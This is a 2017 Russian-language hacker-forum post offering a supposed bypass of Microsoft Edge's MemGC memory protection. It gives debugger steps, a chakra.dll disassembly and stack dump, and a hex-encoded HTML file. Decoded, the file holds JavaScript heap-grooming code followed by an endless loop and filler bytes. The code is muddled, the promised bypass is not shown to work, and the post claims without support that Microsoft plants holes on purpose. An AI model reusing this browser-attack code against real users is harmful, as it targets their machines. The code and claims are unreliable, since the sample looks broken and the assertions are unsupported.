1. Уважаемые пользователи форума Хакер, с сегодняшнего дня все непроверенные пользователи разместившие своё объявление или софт в темах форума будут удалены, хотим заметить что будут удаленны не пользователи форума а (услуга - софт) который разместил пользователь, теперь будет размещаться только проверенный софт или услуга. Просим вас соблюдать правила форума! всем удачи в нашем деле ;)

MemGC Bug or Bypass or Memlake

Тема в разделе "Другой хак", создана пользователем DARKS, 9 сен 2017.

  1. MemGC Bug or Bypass or Memlake

    Дамы и господа хакеры представляю вам дыру и прилагаемую информацию по обходу супер защиты MemGC, супер защищенного браузера EDGE.

    Hо сначала я должен сказать, Дорогая корпорация мелкософт вы оказались замешаны в скандале со слежкой за простыми гражданами. Да мы верим что вы специально оставляйте дыры в своих продуктах. C нашей стороны компромиссов не будет.

    Ладно поехали, мне не хочется долго возится, в момент написания этих строк слипаются глаза от усталости.

    Для начала вам нужно ознакомиться с Microsoft Edge MemGC Internals - Henry Li,TrendMicro, там излагается вся нужная вам информация. Моей задачей будет всего лишь провести вас до самого сердца этого механизма, а дальше вы сами.

    Кстати вот все не могу понять почему именно чакра? наверно это имеет отношение к пятой точке..

    Bам нужно создать html документ, но не простой документ, дело не в "JavaScript" а именно дыра.
    Script в потом себе сами пишите, если честно мне не по приколу писать скрипты, по этому берем hex и делаем "html" file.

    А вы знаете почему существует windows 10 32bit ? иx взламывать легче xaxax я серьезно, нет этот пример будет отлично работать и на 64bit просто я привык к Ольге и именно с этим отладчиком в данный момент провожу пример.

    Kак вы запустите этот файл в EDGE у вас будет memory lake.
    Cмотрим в taskmgr - PID и аттачимся к самому занятому процесу их там будет несколько.
    Дальше идем в memory Alt+M, ишим <SCRIPT>. будет несколько на мнужен самый округленный
    типа "04B70000" и ставим на него бряк.

    Добро пожаловать :) вы в самом сердце MemGC. А че дальше? дальше читайте
    Microsoft Edge MemGC Internals - Henry Li,TrendMicro

    CPU Disasm
    Address Hex dump Command Comments
    615F11FF 8B76 04 MOV ESI,DWORD PTR [ESI+Windows::Internal
    615F1202 81C3 BC950000 ADD EBX,95BC
    615F1208 8B45 F8 MOV EAX,DWORD PTR [EBP-8]
    615F120B 03F7 ADD ESI,EDI
    615F120D C1E8 02 SHR EAX,2
    615F1210 8D3C86 LEA EDI,[EAX*4+ESI]
    615F1213 8B06 MOV EAX,DWORD PTR [ESI] ; <--------------- WE ARE HERE
    615F1215 3D 00000100 CMP EAX,10000
    615F121A 73 12 JAE SHORT chakra.615F122E
    615F121C 83C6 04 ADD ESI,4
    615F121F 3BF7 CMP ESI,EDI
    615F1221 ^ 75 F0 JNE SHORT chakra.615F1213
    615F1223 8B5D F0 MOV EBX,DWORD PTR [EBP-10]
    615F1226 8B7D F4 MOV EDI,DWORD PTR [EBP-0C]
    615F1229 8B75 EC MOV ESI,DWORD PTR [EBP-14]

    CPU Stack
    Address Value ASCII Comments
    0377F6E8 \615F2493 “$_a ; RETURN from chakra.?ScanInitialImplicitRoots@?$SmallNormalHeapBlockT@VMediumAllocationBlockAttributes@@@Memory@@QAEXPAVRecycler@2@@Z to chakra.615F2493
    chakra.?ScanInitialImplicitRoots@?$SmallNormalHeapBucketBase@V?$SmallNormalHeapBlockT@VMediumAllocationBlockAttributes@@@Memory@@@Memory@@IAEXPAVRecycler@2@@Z to chakra.615F1C8E
    0377F710 \615F08B2 ²_a ; RETURN from chakra.?ScanInitialImplicitRoots@?$HeapBucketGroup@VMediumAllocationBlockAttributes@@@Memory@@QAEXPAVRecycler@2@@Z to chakra.615F08B2
    0377F724 \61759458 X”ua ; RETURN from chakra.?ScanInitialImplicitRoots@HeapInfo@Memory@@QAEXXZ to chakra.61759458
    0377F72C \61757DA7 §}ua ; RETURN from chakra.?ScanImplicitRoots@Recycler@Memory@@AAEXXZ
     
  2. --------------------------------------------------------------------------------------------------------------------------------------
    *.html file*.html file*.html file*.html file*.html file*.html file*.html file*.html file*.html file*.html file*.html file
    3C 53 43 52 49 50 54 3E 0D 0A 0D 0A 0D 0A 76 61
    72 20 A0 42 75 63 6B 65 74 31 20 A0 3D 20 A0 6E
    65 77 20 A0 41 72 72 61 79 28 29 3B 20 A0 2F 2F
    20 A0 45 6E 61 62 6C 65 20 A0 4C 46 48 0D 0A 66
    6F 72 20 A0 28 76 61 72 20 A0 69 20 A0 3D 20 A0
    30 3B 20 A0 69 20 A0 3C 20 A0 30 78 31 31 3B 20
    A0 69 2B 2B 29 20 A0 7B 0D 0A A0 A0 A0 A0 42 75
    63 6B 65 74 31 5B 69 5D 20 A0 3D 20 A0 64 6F 63
    75 6D 65 6E 74 2E 63 72 65 61 74 65 45 6C 65 6D
    65 6E 74 28 22 6F 70 74 69 6F 6E 22 29 3B 0D 0A
    7D 0D 0A 0D 0A 76 61 72 20 A0 55 73 65 72 42 6C
    6F 63 6B 73 31 20 A0 3D 20 A0 6E 65 77 20 A0 41
    72 72 61 79 28 29 3B 0D 0A 66 6F 72 20 A0 28 76
    61 72 A0 69 A0 3D A0 30 3B 20 69 A0 3C A0 4D 61
    74 68 2E 66 6C 6F 6F 72 28 28 30 78 31 30 30 30
    2D 30 78 38 2D 30 78 31 30 29 2F 28 30 78 35 30
    2B 30 78 38 29 29 3B 69 2B 2B 29 0D 0A 7B 0D 0A
    A0 A0 A0 A0 55 73 65 72 42 6C 6F 63 6B 73 31 5B
    69 5D 20 A0 3D 20 A0 64 6F 63 75 6D 65 6E 74 2E
    63 72 65 61 74 65 45 6C 65 6D 65 6E 74 28 22 6F
    70 74 69 6F 6E 22 29 3B 0D 0A 7D 0D 0A 0D 0A 76
    61 72 20 A0 55 73 65 72 42 6C 6F 63 6B 73 32 20
    A0 3D 20 A0 6E 65 77 20 A0 41 72 72 61 79 28 29
    3B 0D 0A 66 6F 72 20 A0 28 76 61 72 20 69 20 3D
    A0 30 3B A0 69 A0 3C A0 4D 61 74 68 2E 66 6C 6F
    6F 72 28 28 30 78 31 30 30 30 2D 30 78 38 2D 30
    78 31 30 29 2F 28 30 78 35 30 2B 30 78 38 29 29
    3B 69 2B 2B 29 20 A0 0D 0A 7B 0D 0A A0 A0 A0 A0
    55 73 65 72 42 6C 6F 63 6B 73 32 5B 69 5D 20 A0
    3D 20 A0 64 6F 63 75 6D 65 6E 74 2E 63 72 65 61
    74 65 45 6C 65 6D 65 6E 74 28 22 6F 70 74 69 6F
    6E 22 29 3B 0D 0A 20 20 20 20 76 61 72 20 A0 69
    3B 20 A0 0D 0A 20 20 20 20 76 61 72 20 A0 6A 3B
    0D 0A 66 6F 72 20 28 69 A0 3D A0 30 3B A0 69 A0
    3C A0 4D 61 74 68 2E 66 6C 6F 6F 72 28 28 30 78
    31 30 30 30 2D 30 78 38 2D 30 78 31 30 29 2F 28
    30 78 35 30 2B 30 78 38 29 29 3B A0 69 2B 2B 29
    20 A0 0D 0A 7B 0D 0A A0 A0 A0 A0 76 61 72 20 A0
    72 20 3D A0 28 28 30 78 35 30 2B 30 78 38 29 2A
    69 2B 30 78 30 29 25 28 30 78 36 38 2B 30 78 38
    29 3B 0D 0A A0 A0 A0 A0 6A 20 A0 3D 20 A0 4D 61
    74 68 2E 66 6C 6F 6F 72 28 28 28 30 78 35 30 2B
    30 78 38 29 2A 69 2B 30 78 30 29 2F 28 30 78 36
    38 2B 30 78 38 29 29 3B 0D 0A A0 A0 A0 A0 69 66
    20 A0 28 72 A0 3E 3D A0 30 78 34 63 A0 26 26 A0
    72 A0 3C 3D A0 30 78 35 38 29 0D 0A A0 A0 A0 A0
    A0 A0 A0 A0 62 72 65 61 6B 3B 0D 0A 7D 0D 0A 7D
    0D 0A 0D 0A 76 61 72 A0 55 73 65 72 42 6C 6F 63
    6B 73 31 A0 3D A0 6E 65 77 A0 41 72 72 61 79 28
    29 3B 0D 0A 66 6F 72 A0 28 76 61 72 A0 69 A0 3D
    A0 30 3B A0 69 A0 3C A0 4D 61 74 68 2E 66 6C 6F
    6F 72 28 28 30 78 31 30 30 30 2D 30 78 38 2D 30
    78 31 30 29 2F 28 30 78 35 30 2B 30 78 38 29 29
    3B 69 2B 2B 29 0D 0A 7B 0D 0A A0 A0 A0 A0 69 66
    20 A0 28 69 3D 3D 31 29 20 A0 0D 0A 7B 0D 0A 66
    6F 72 20 28 76 61 72 A0 69 A0 3D A0 30 3B A0 69
    20 3C 20 4D 61 74 68 2E 66 6C 6F 6F 72 28 28 30
    78 31 30 30 30 2D 30 78 38 2D 30 78 31 30 29 2F
    28 30 78 35 30 2B 30 78 38 29 29 3B 20 69 2B 2B
    29 0D 0A 7B 0D 0A A0 A0 A0 A0 69 66 20 A0 28 69
    20 A0 21 3D 20 A0 31 29 0D 0A A0 A0 A0 A0 A0 A0
    A0 A0 55 73 65 72 42 6C 6F 63 6B 73 31 5B 69 5D
    20 A0 3D 20 A0 6E 75 6C 6C 3B 0D 0A 7D 0D 0A 0D
    0A 7D 0D 0A A0 A0 A0 A0 55 73 65 72 42 6C 6F 63
    6B 73 31 5B 69 5D 20 A0 3D 20 A0 64 6F 63 75 6D
    65 6E 74 2E 63 72 65 61 74 65 45 6C 65 6D 65 6E
    74 28 22 6F 70 74 69 6F 6E 22 29 3B 0D 0A 7D 0D
    0A 0D 0A 20 76 61 72 20 63 6F 6C 6F 72 20 3D 20
    6E 65 77 20 41 72 72 61 79 3B 0D 0A 20 76 61 72
    20 73 65 78 20 20 20 3D 20 6E 65 77 20 41 72 72
    61 79 3B 0D 0A 20 63 6F 6C 6F 72 5B 31 5D 20 3D
    20 22 62 6C 61 63 6B 22 3B 0D 0A 20 63 6F 6C 6F
    72 5B 32 5D 20 3D 20 22 77 68 69 74 65 22 3B 0D
    0A 20 66 6F 72 28 78 20 3D 2D 31 3B 20 78 20 3C
    33 3B 20 78 2B 2B 29 0D 0A 20 7B 0D 0A 20 64 6F
    63 75 6D 65 6E 74 2E 62 67 43 6F 6C 6F 72 20 3D
    20 63 6F 6C 6F 72 5B 78 5D 0D 0A 20 69 66 28 78
    20 3D 3D 20 32 29 0D 0A 20 7B 0D 0A 20 78 20 3D
    20 30 3B 0D 0A 20 7D 0D 0A 20 7D 0D 0A FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
    FF FF FF FF FF FF FF FF FF FF FF FF FF 20 3C 2F
    53 43 52 49 50 54 3E 0D 0A